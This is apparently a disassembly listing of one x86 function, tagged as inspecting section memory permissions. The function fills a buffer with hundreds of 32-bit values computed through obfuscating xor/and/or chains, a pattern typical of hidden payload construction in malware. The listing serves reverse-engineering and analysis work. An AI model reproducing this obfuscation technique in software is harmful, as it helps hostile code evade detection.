Function at 0x415e50
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
call fcn.00415e40
push eax
call fcn.00415dd0
add esp, 4
mov dword [ebp - 4], eax
mov eax, 0x65cf9b25
mov ebx, dword [ebp - 4]
mov ecx, 4
xor eax, 0x233ef111
and eax, 0x4212824
or eax, 0x290c95c3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x358e4cfb
and eax, 0x240c0c22
or eax, 0xa22220c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78e8b0fe
and eax, 0x5b12fe52
and eax, 0x2020a00
or eax, 0x2828202a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x345eb1dc
and eax, 0x200a2000
or eax, 0xa200ad5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50b1a1ca
or eax, 0x54482efe
and eax, 0x12928292
or eax, 0x80001000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6fae3431
and eax, 0x90108282
or eax, 0x2821010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c87a8
and eax, 0x33393c52
and eax, 0x12101012
or eax, 0xc0c2c2c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x561bae68
and eax, 0x80c05092
or eax, 0x52128240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53068950
and eax, 0x6905c4c3
and eax, 0x4000c0c2
or eax, 0x92d21210
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36aa8329
and eax, 0xc05050d2
or eax, 0x12828200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78b0f564
xor eax, 0x299f9714
and eax, 0x82d09082
or eax, 0x50024250
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10868c17
and eax, 0xd2d2d2d2
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b06f3e9
or eax, 0x65441c9f
and eax, 0xc0d01092
or eax, 0x1202c240
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d553994
or eax, 0x6ac5f601
and eax, 0xd2c2d242
or eax, 0x100090
mov dword [ebx], eax
add ebx, ecx
and eax, 0x59c7152
and eax, 0x905052
or eax, 0xd2428280
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b155008
and eax, 0x20212
or eax, 0x32303020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78662509
and eax, 0x2100338
or eax, 0x95892004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f53b54
xor eax, 0x6dd6eae0
and eax, 0xe12a2280
or eax, 0x6000117
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2830ad81
or eax, 0x16085b55
and eax, 0x333a7ec6
or eax, 0x450000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18485949
and eax, 0x85840
or eax, 0xe38387be
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x238c11ed
and eax, 0x8001c802
or eax, 0x29d83188
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5afd52cc
xor eax, 0x375f320a
and eax, 0x80539048
or eax, 0x21802493
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6f2f87ef
and eax, 0x17a64545
and eax, 0x6840540
or eax, 0xe809a880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ffe9ca9
or eax, 0x754fd64d
and eax, 0xe08fe18d
or eax, 2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ba36930
and eax, 0xb3048094
or eax, 0xd23400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x56561cf8
and eax, 0x12140090
or eax, 0xe880e103
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46218958
and eax, 0x3b35f780
and eax, 0x38152080
or eax, 0xc5c8935a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b6938a5
and eax, 0x85a5b2b9
or eax, 0x4400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f968bde
and eax, 0x4808288
or eax, 0x82630560
mov dword [ebx], eax
add ebx, ecx
or eax, 0x438355a2
and eax, 0x82a085a8
or eax, 0x20082000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33cd9161
and eax, 0x2808000
or eax, 0x84060686
mov dword [ebx], eax
add ebx, ecx
and eax, 0x743c1e21
or eax, 0x66fca539
and eax, 0x6848600
or eax, 0x80020086
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e0d370e
or eax, 0xb26ad21
and eax, 0xa843928
or eax, 0x504212
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16d6e888
or eax, 0x34fb7f6e
and eax, 0x16135262
or eax, 0x88008090
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4caa7c7e
and eax, 0xa834666
or eax, 0x40000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fae1eed
and eax, 0xa020260
or eax, 0x9411d092
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5a7b9f28
xor eax, 0x56acf601
and eax, 0x88000909
or eax, 0x5005600
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4dbee45f
and eax, 0x339843e9
and eax, 0x4000
or eax, 0x1a971676
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe3d14a3
and eax, 0x14a002c1
or eax, 0x6851b12a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x372667ca
and eax, 0x4b468401
or eax, 0xa0202386
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d8c7cf8
and eax, 0x8400421a
or eax, 0x19100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5edc7191
xor eax, 0x5872675
and eax, 0x2020566
or eax, 0x9844201
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18e8344b
and eax, 0x2ea2263
or eax, 0x64000810
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a1a0a3c
and eax, 0x40080810
or eax, 0xb174b58d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30264b1e
and eax, 0x20200908
or eax, 0x44c92001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x778bea0c
and eax, 0x61e29eee
and eax, 0x60000000
or eax, 0x9974b595
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ef3cc7
and eax, 0xd8120842
or eax, 0x344302c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20132696
and eax, 0x5532999c
and eax, 0x20004
or eax, 0x42cd0e2a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7eb9b931
or eax, 0x4549af4
and eax, 0x52df83d5
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63d90b4
and eax, 0x2088080
or eax, 0xc5420b2b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x236ddd10
and eax, 0xe70fdc91
or eax, 0x10902004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ffb92af
and eax, 0x60642e0a
or eax, 0x38a0105
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a18b572
and eax, 0x1620261
or eax, 0x62016102
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7df4dfee
and eax, 0x61604362
or eax, 0x2032001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7cf2e048
and eax, 0x3010323
or eax, 0x60626040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33777e4e
xor eax, 0x3475e4a2
and eax, 0x43020341
or eax, 0x20616022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x780b925e
and eax, 0x12607031
or eax, 0x64160602
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74b43f96
or eax, 0x503357ca
and eax, 0x10301b2a
or eax, 0x28082010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73376636
xor eax, 0x1848f9b9
and eax, 0x23478605
or eax, 0x3930
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67bcb748
or eax, 0x1e89f865
and eax, 0x2232021
or eax, 0x21000302
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x247b60fe
and eax, 0x3000301
or eax, 0x20232022
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8847c7
xor eax, 0x5103b8cb
and eax, 0x4080c300
or eax, 0x804100c3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1153ffd
and eax, 0xc0c0cacb
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4196e439
xor eax, 0x2021f177
and eax, 0x505080
or eax, 0x50000040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x415548b5
and eax, 0x40404000
or eax, 0x50
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f12d1ef
xor eax, 0x345d7065
and eax, 0x22020040
or eax, 0x10301000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a0b4066
and eax, 0x62766e4d
and eax, 0x40004000
or eax, 0x85c5a702
mov dword [ebx], eax
add ebx, ecx
and eax, 0xef4f446
xor eax, 0x30df7108
and eax, 0x4038500
or eax, 0x838420c5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17c31d9c
or eax, 0x48a640aa
and eax, 0x50447083
or eax, 0x5110704
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7d84d874
or eax, 0x7cc592c9
and eax, 0x15055045
or eax, 0x100510
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d9fb71c
and eax, 0x5050515
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x766d495b
or eax, 0x6ed2d141
and eax, 0x7070505
or eax, 0x200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x705a1dba
and eax, 0x763748e4
and eax, 0x20000
or eax, 0x3010202
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44f77b64
and eax, 0x3030302
or eax, 1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7aa8aef9
or eax, 0x11fd596a
and eax, 0x1070402
or eax, 0x6000204
mov dword [ebx], eax
add ebx, ecx
and eax, 0x480cb169
or eax, 0x3dfec5ba
and eax, 0x5060502
or eax, 0x2010205
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7375feff
or eax, 0x7fe85b2c
and eax, 0x24200304
or eax, 0x40403
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6909f614
and eax, 0x3bfbeb2
and eax, 0x243400
or eax, 0x34100024
mov dword [ebx], eax
add ebx, ecx
and eax, 0x193d9785
and eax, 0xe90c827
and eax, 0x100004
or eax, 0x34243430
mov dword [ebx], eax
add ebx, ecx
or eax, 0x23cbdd47
and eax, 0x1ff3e654
and eax, 0x17722414
or eax, 0xe0041222
mov dword [ebx], eax
add ebx, ecx
and eax, 0x265b1a8d
and eax, 0x26421204
or eax, 0xc1a5e5f3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x61de28ac
and eax, 0x61c620a4
or eax, 0x9631d743
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2bcf052d
and eax, 0x3c35c1c3
and eax, 0x2425c1c3
or eax, 0xc3c23634
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x408a26b4
and eax, 0xa765d143
or eax, 0x509226a4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x288b8be2
and eax, 0xd7747405
or eax, 0x208383f2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e8be8e1
and eax, 0xc1640706
or eax, 0x2683e0e1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ec7ab9f
and eax, 0x46c7a387
or eax, 0xa1204460
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18e555f7
and eax, 0xe545e7
or eax, 0xe702a200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3365ef32
and eax, 0x21250722
or eax, 0x141010c5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6baadca9
and eax, 0xd8d8d8d
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38b569bf
xor eax, 0x7a57918
and eax, 0x88088485
or eax, 0x5850908
mov dword [ebx], eax
add ebx, ecx
or eax, 0x603f0843
and eax, 0x2b6ce77d
and eax, 0x90c850d
or eax, 0x84810880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46643154
xor eax, 0x667f3985
and eax, 0x89808408
or eax, 0x40d0985
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x453d80e2
and eax, 0x4396504e
and eax, 0x80000c
or eax, 0x8d0d8d81
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c7278d5
and eax, 0x818d8508
or eax, 0xc000885
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x53502d67
and eax, 0x8c8d8088
or eax, 0x1000d05
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6627f122
xor eax, 0x6f45b6af
and eax, 0x63400525
or eax, 0x84a7c010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6cf6a41e
and eax, 0x60e28000
or eax, 0x8b096beb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9a9b611
or eax, 0x5c0fba7
and eax, 0xe3c2ebeb
or eax, 0x8290000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26dbe359
and eax, 0x61300d37
and eax, 0x61200923
or eax, 0x8acbe2c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c20bf2a
and eax, 0xebebebeb
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78e56117
or eax, 0x5c494ce
and eax, 0x69e1e1cb
or eax, 0x820a0a20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb1081a0
or eax, 0x7d950be2
and eax, 0xe9eb6beb
or eax, 0x2008000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d04e736
and eax, 0xebebebeb
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x161bd914
or eax, 0x5868c76
and eax, 0xebebebeb
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60038a00
and eax, 0xebebebeb
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c400b92
or eax, 0x7852d143
and eax, 0xebebe16b
or eax, 0xa80
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7bafbd78
and eax, 0x6baba968
or eax, 0x80404283
mov dword [ebx], eax
add ebx, ecx
or eax, 0x501524dd
and eax, 0xebebebeb
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b8f00dc
and eax, 0xebebebeb
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x453a7863
or eax, 0x5dbcfc6b
and eax, 0xebe9ebeb
or eax, 0x20000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4efe2db0
xor eax, 0x607d15eb
and eax, 0xc168c3a0
or eax, 0x2a83284b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x207d17ae
and eax, 0xcb82e841
or eax, 0x206903aa
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x761a92c7
and eax, 0x89e16928
or eax, 0x620a82c3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6196b84e
and eax, 0x8a6943a1
or eax, 0x6182a84a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1231fd81
and eax, 0x221e981
or eax, 0xe9ca026a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65056e6f
and eax, 0x61016a6b
or eax, 0x8aea8180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6069394c
and eax, 0x8b82c2a3
or eax, 0x60692948
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b50df9d
and eax, 0x82b2eebe
or eax, 0x4040000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4892b189
and eax, 0x828080
or eax, 0x86040606
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a256172
and eax, 0xf4a0c684
or eax, 0x541002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8d94c62
or eax, 0x2a1da961
and eax, 0x20c4e460
or eax, 0xc4200094
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x681d74ac
and eax, 0x70253926
and eax, 0x200000
or eax, 0xe4c4e4e4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72a40791
xor eax, 0x4ccce4ee
and eax, 0x2060e064
or eax, 0xc0800080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4bc3b8c2
and eax, 0x40c0a0c0
or eax, 0xa0204020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x352e031
or eax, 0x4b10d9dd
and eax, 0x4040e0e0
or eax, 0xa0a00000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1df2986f
and eax, 0xe0006080
or eax, 0xe08060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x265395a4
and eax, 0x5d976ea5
and eax, 0x6000
or eax, 0x80600060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54fc2133
and eax, 0xc49c0151
or eax, 0x28418484
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9b5aeb1
xor eax, 0x2f5d97fb
and eax, 0xc824ac8c
or eax, 0x24c84060
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4835cf60
and eax, 0x6eef5b1a
and eax, 0x48244800
or eax, 0x345834ec
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13576dd5
xor eax, 0x7706a97d
and eax, 0x8381400
or eax, 0x3606087c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7820810
or eax, 0x10245e67
and eax, 0x36b6163e
or eax, 0x8000a000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5a4c32b9
and eax, 0x5ed640d6
and eax, 0x12920096
or eax, 0xa020b220
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38a05a27
xor eax, 0x731faff2
and eax, 0x80a01000
or eax, 0x3212a2b2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x49fdfbae
or eax, 0x6d1064b3
and eax, 0xb21220b2
or eax, 0xa09200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27d3ec1
and eax, 0xb0828032
or eax, 0x2303280
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b84e064
and eax, 0x280a020
or eax, 0x107252d2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6da3cffa
or eax, 0x477378b4
and eax, 0x7d431504
or eax, 0xc0243
mov dword [ebx], eax
add ebx, ecx
or eax, 0x72b272d6
and eax, 0x7d7d7555
or eax, 0x828
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f53f075
xor eax, 0x7b793fce
and eax, 0x4044031
or eax, 0x69692d4c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29e353c7
and eax, 0x48e1c28
or eax, 0xbb318145
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a117c79
and eax, 0x3df5a73f
and eax, 0x3db5a53d
or eax, 0x80081882
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63850a0c
and eax, 0x2a9722ac
and eax, 0x201120ac
or eax, 0x11201111
mov dword [ebx], eax
add ebx, ecx
and eax, 0x73b0047a
and eax, 0x31300030
or eax, 0x13101
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31aea424
xor eax, 0x22e1cdf
and eax, 0x31003031
or eax, 0x310100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x842aae8
or eax, 0x417951
and eax, 0x13131
or eax, 0x31300000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27f606f
and eax, 0x5136cbd7
and eax, 0x11004150
or eax, 0xa0713021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x215dd218
xor eax, 0x7acd2cd8
and eax, 0xa0a181b1
or eax, 0x11103000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3357bd45
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd85bd92
xor eax, 0x6e5d4b28
and eax, 0x91a0b091
or eax, 0x20110120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7bf30d40
or eax, 0x5d267ab7
and eax, 0x9120b0b1
or eax, 0x20910100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x328445c9
and eax, 0x30800181
or eax, 0x8131b030
mov dword [ebx], eax
add ebx, ecx
and eax, 0x426e43a4
and eax, 0x2001a0
or eax, 0xb191b011
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57f71068
and eax, 0x11b11020
or eax, 0xa000a191
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11d5b948
xor eax, 0x65253ce2
and eax, 0x81013011
or eax, 0x30b081a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc5b3816
and eax, 0x113010
or eax, 0xb1a081a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc0fee9f
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d71b3ff
or eax, 0x4ce9adf2
and eax, 0xa0a1a1b0
or eax, 0x11101001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40d88b9a
or eax, 0x3957ae63
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x146f8a60
and eax, 0x10218020
or eax, 0xa1903191
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27581914
and eax, 0x90a1a0a1
or eax, 0x21101110
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b8b4020
xor eax, 0x6a63d8a0
and eax, 0x91902111
or eax, 0x202190a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xbb00c81
xor eax, 0x4a851cb2
and eax, 0xb080a180
or eax, 0x1311031
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c98035f
and eax, 0x20900111
or eax, 0x9121b0a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9f2f451
and eax, 0xb00101a0
or eax, 0x1b0b011
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf16b0f8
and eax, 0x110b0b0
or eax, 0xb0a10101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xce59b87
xor eax, 0x142604a9
and eax, 0xa1302091
or eax, 0x10819120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x31e940ee
and eax, 0x8010b111
or eax, 0x31a100a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x179a9df0
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73b2ad92
and eax, 0x80011021
or eax, 0x31b0a190
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60386294
xor eax, 0x598739c1
and eax, 0x8000a0a0
or eax, 0x31b11111
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe046ca0
or eax, 0x1535815c
and eax, 0x1131a1b0
or eax, 0xa0801001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69357a7f
xor eax, 0x31d1944
and eax, 0x91919080
or eax, 0x20202131
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x10832e1d
and eax, 0xa13091a0
or eax, 0x10812011
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e2fc046
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2febdb5f
and eax, 0x901020a0
or eax, 0x21a19111
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58916731
xor eax, 0x6f807f24
and eax, 0x31111011
or eax, 0x80a0a1a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7ad9d34c
xor eax, 0x5ac6204a
and eax, 0xa13191b1
or eax, 0x10802000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x12aa0cc2
and eax, 0xa111b131
or eax, 0x10a00080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6cb04b09
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x655060ea
or eax, 0x6de3bcbe
and eax, 0xb1a1b1b1
or eax, 0x100000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6628467e
and eax, 0x6f73ff93
and eax, 0x20200010
or eax, 0x9191b1a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56c50f85
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b3e1ae4
and eax, 0x313010a0
or eax, 0x8081a111
mov dword [ebx], eax
add ebx, ecx
and eax, 0x131d5311
and eax, 0x111de740
and eax, 0x11110100
or eax, 0xa0a0b0b1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x341ffe23
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb5f4840
xor eax, 0x17a6771d
and eax, 0x10b13111
or eax, 0xa10080a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5698a576
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7482e91e
and eax, 0xa17b08a
and eax, 0xa000
or eax, 0xb1b111b1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3bca7fec
and eax, 0x80318011
or eax, 0x318031a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xcd37610
and eax, 0xb12081a1
or eax, 0x913010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c03b48a
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5fe095d4
and eax, 0xa0112021
or eax, 0x11a09190
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x708382a5
or eax, 0x264abff1
and eax, 0xa130b1b1
or eax, 0x10810000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e3227e0
xor eax, 0x6882f52a
and eax, 0x30b09080
or eax, 0x81012131
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b1d7b9f
and eax, 0x31113191
or eax, 0x80a08020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5befbf52
or eax, 0x15ec0192
and eax, 0xb1b001b1
or eax, 0x1b000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c7f684e
xor eax, 0x7b9bff16
and eax, 0x1a09110
or eax, 0xb01120a1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7efbe08e
and eax, 0x81001131
or eax, 0x30b1a080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5efb2a99
and eax, 0x6b3b58f6
and eax, 0x213110b0
or eax, 0x9080a101
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63a25a3f
xor eax, 0x3579bd6c
and eax, 0x1091a111
or eax, 0xa12010a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38a6ed08
and eax, 0x46216249
and eax, 0x212001
or eax, 0xb19091b0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2cd83389
and eax, 0x91218030
or eax, 0x20903181
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c7fd9c
or eax, 0x5e31f68d
and eax, 0x10b1b191
or eax, 0xa1000020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8e5c25
and eax, 0xb131a190
or eax, 0x801021
mov dword [ebx], eax
add ebx, ecx
and eax, 0x104d1953
and eax, 0x10011111
or eax, 0xa1b0a0a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x718ba801
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58f1357d
xor eax, 0x112cd337
and eax, 0x191a000
or eax, 0xb02011b1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49ff74b4
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ef06bf7
and eax, 0x91019000
or eax, 0x20b021b1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f8b9018
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5dcce085
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7ca45a23
and eax, 0x30a01021
or eax, 0x8111a190
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2effc344
or eax, 0x205dc35f
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xaee3357
and eax, 0xb11180a0
or eax, 0xa03111
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x413c7bbf
and eax, 0xb0818000
or eax, 0x13031b1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b70f47c
or eax, 0x687374f8
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a6865a4
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6dc6d0a4
and eax, 0x657569e4
and eax, 0x312100
or eax, 0xb18090b1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11dd8277
and eax, 0xa0203180
or eax, 0x11918031
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd8bb96e
or eax, 0x6a3310ad
and eax, 0xb03110b1
or eax, 0x180a100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x35585489
and eax, 0x31101081
or eax, 0x80a1a130
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6231bcfd
xor eax, 0x45caa9b3
and eax, 0xb0311000
or eax, 0x180a1b1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a282ff4
and eax, 0xe3ae97e
and eax, 0x202130
or eax, 0xb1919081
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21f34d3a
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x201b4bf3
xor eax, 0x426e7d56
and eax, 0x203130a1
or eax, 0x91808110
mov dword [ebx], eax
add ebx, ecx
or eax, 0x130a710
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3453cb33
xor eax, 0x69febeb3
and eax, 0x90010100
or eax, 0x21b0b0b1
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfb29a43
and eax, 0x1b09001
or eax, 0xb00121b0
mov dword [ebx], eax
